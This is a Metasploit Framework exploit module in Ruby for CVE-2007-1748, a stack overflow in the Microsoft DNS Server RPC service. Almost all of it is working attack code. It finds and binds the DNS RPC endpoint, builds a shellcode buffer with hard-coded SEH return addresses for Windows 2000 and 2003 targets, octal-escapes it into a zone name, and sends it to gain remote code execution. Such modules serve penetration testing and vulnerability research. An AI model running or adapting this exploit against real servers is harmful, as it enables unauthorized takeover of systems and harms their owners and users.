##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##


require 'msf/core'

module Msf

class Exploits::Windows::Dcerpc::Microsoft_DNS_RPC_ZoneName < Msf::Exploit::Remote

  include Exploit::Remote::DCERPC
  include Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,  
      'Name'           => 'Microsoft DNS RPC Service extractQuotedChar() Overflow',
      'Description'    => %q{
        This module exploits a stack overflow in the RPC interface
      of the Microsoft DNS service. The vulnerability is triggered when
      a long zone name is supplied that contains escaped characters. This
      exploit will NOT work on Windows 2003 SP1 or SP2 if hardware DEP is
      enabled.
        
      },
      'Author'         => [ 'hdm' ],
      'License'        => MSF_LICENSE,
      'Version'        => '$Revision$',
      'References'     =>
        [
          ['CVE', '2007-1748'],
          ['URL', 'http://www.microsoft.com/technet/security/advisory/935964.mspx']
        ],
      'Privileged'     => true,
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread'
        },      
      'Payload'        =>
        {
          'Space'    => 1024,
          
          # The payload doesn't matter, but make_nops() uses these too
          'BadChars' => "\x00",
          
          'StackAdjustment' => -3500,

        },
      'Platform'       => 'win',
      'Targets'        => 
        [
          [ 'Windows 2000 SP0-SP4 / Windows 2003 SP0-SP2 English',
            { 
              'Addresses' => # Offsets must not overlap -4 or +9
              [
                [ 1213, 0x75022ac4 ], # Windows 2000 SP0-SP4 ws2help.dll
                [ 1593, 0x7ffc0960 ], # Windows 2003 SP0 ??? (unreliable?)
                [ 1633, 0x76a81a60 ], # Windows 2003 SP1-SP2 atl.dll
              ]
            }
          ],
        
          # WS2HELP.DLL
          [ 'Windows 2000 Server SP0-SP4+ English', { 'Off' => 1213, 'Ret' => 0x75022ac4 } ],

          # Unknown, probably unreliable
          [ 'Windows 2003 Server SP0 English', { 'Off' => 1593, 'Ret' => 0x7ffc0960 } ],
  
          # ATL.DLL (no SafeSEH) (still blocked by hardware DEP)
          [ 'Windows 2003 Server SP1-SP2 English', { 'Off' => 1633, 'Ret' => 0x76a81a60 } ],
                  
        ],
      'DisclosureDate' => 'Apr 12 2007',
      'DefaultTarget'  => 0 ))
    
    register_options(
      [
        Opt::RPORT(0)
      ], self.class)
  end
  
  def exploit


    # Ask the endpoint mapper to locate the port for us
    dport = datastore['RPORT'].to_i
    if (dport == 0)
      
      dport = dcerpc_endpoint_find_tcp(datastore['RHOST'], '50abc2a4-574d-40b3-9d66-ee4fd5fba076', '5.0', 'ncacn_ip_tcp')
      
      if (not dport)
        print_status("Could not determine the RPC port used by the Microsoft DNS Server")
        return
      end
      
      print_status("Discovered Microsoft DNS Server RPC service on port #{dport}")
    end

    # Connect to the high RPC port
    connect(true, { 'RPORT' => dport })
    print_status("Trying target #{target.name}...")
    
    # Bind to the service
    handle = dcerpc_handle('50abc2a4-574d-40b3-9d66-ee4fd5fba076', '5.0', 'ncacn_ip_tcp', [datastore['RPORT']])
    print_status("Binding to #{handle} ...")
    dcerpc_bind(handle)
    print_status("Bound to #{handle} ...")

    # Create our buffer with our shellcode first
    txt = Rex::Text.rand_text_alphanumeric(8192)
    txt[0, payload.encoded.length] = payload.encoded
    
    # Handle multi-return targets
    if (target['Addresses'])
      target['Addresses'].each do |ent|
        off, ret = ent
        txt[ off ] = [ret].pack('V')
        txt[ off - 4, 2] = "\xeb\x06"
        txt[ off + 4, 5] = "\xe9" + [ (off+9) * -1 ].pack('V')        
      end
    # Handle single-return targets
    else
      off = target['Off']
      txt[ off ] = [target.ret].pack('V')
      txt[ off - 4, 2] = "\xeb\x06"
      txt[ off + 4, 5] = "\xe9" + [ (off+9) * -1 ].pack('V')    
    end
    
    req = ''
    
    # Convert the string to escaped octal
    txt.unpack('C*').each do |c|
      req << "\\"
      req << c.to_s(8)
    end  

    # Build the RPC stub data
    stubdata =
      NDR.long(rand(0xffffffff)) +
      NDR.wstring(Rex::Text.rand_text_alpha(1) + "\x00\x00") +
      
      NDR.long(rand(0xffffffff)) +
      NDR.string(req + "\x00") +
      
      NDR.long(rand(0xffffffff)) +
      NDR.string(Rex::Text.rand_text_alpha(1) + "\x00")
    
    print_status('Sending exploit...')
  
    begin
      response = dcerpc.call(1, stubdata)

      if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
        print_status(">> " + dcerpc.last_response.stub_data.unpack("H*")[0])
      end
    rescue ::Exception => e
      print_status("Error: #{e}")
    end
    
    handler
    disconnect
  end

end
end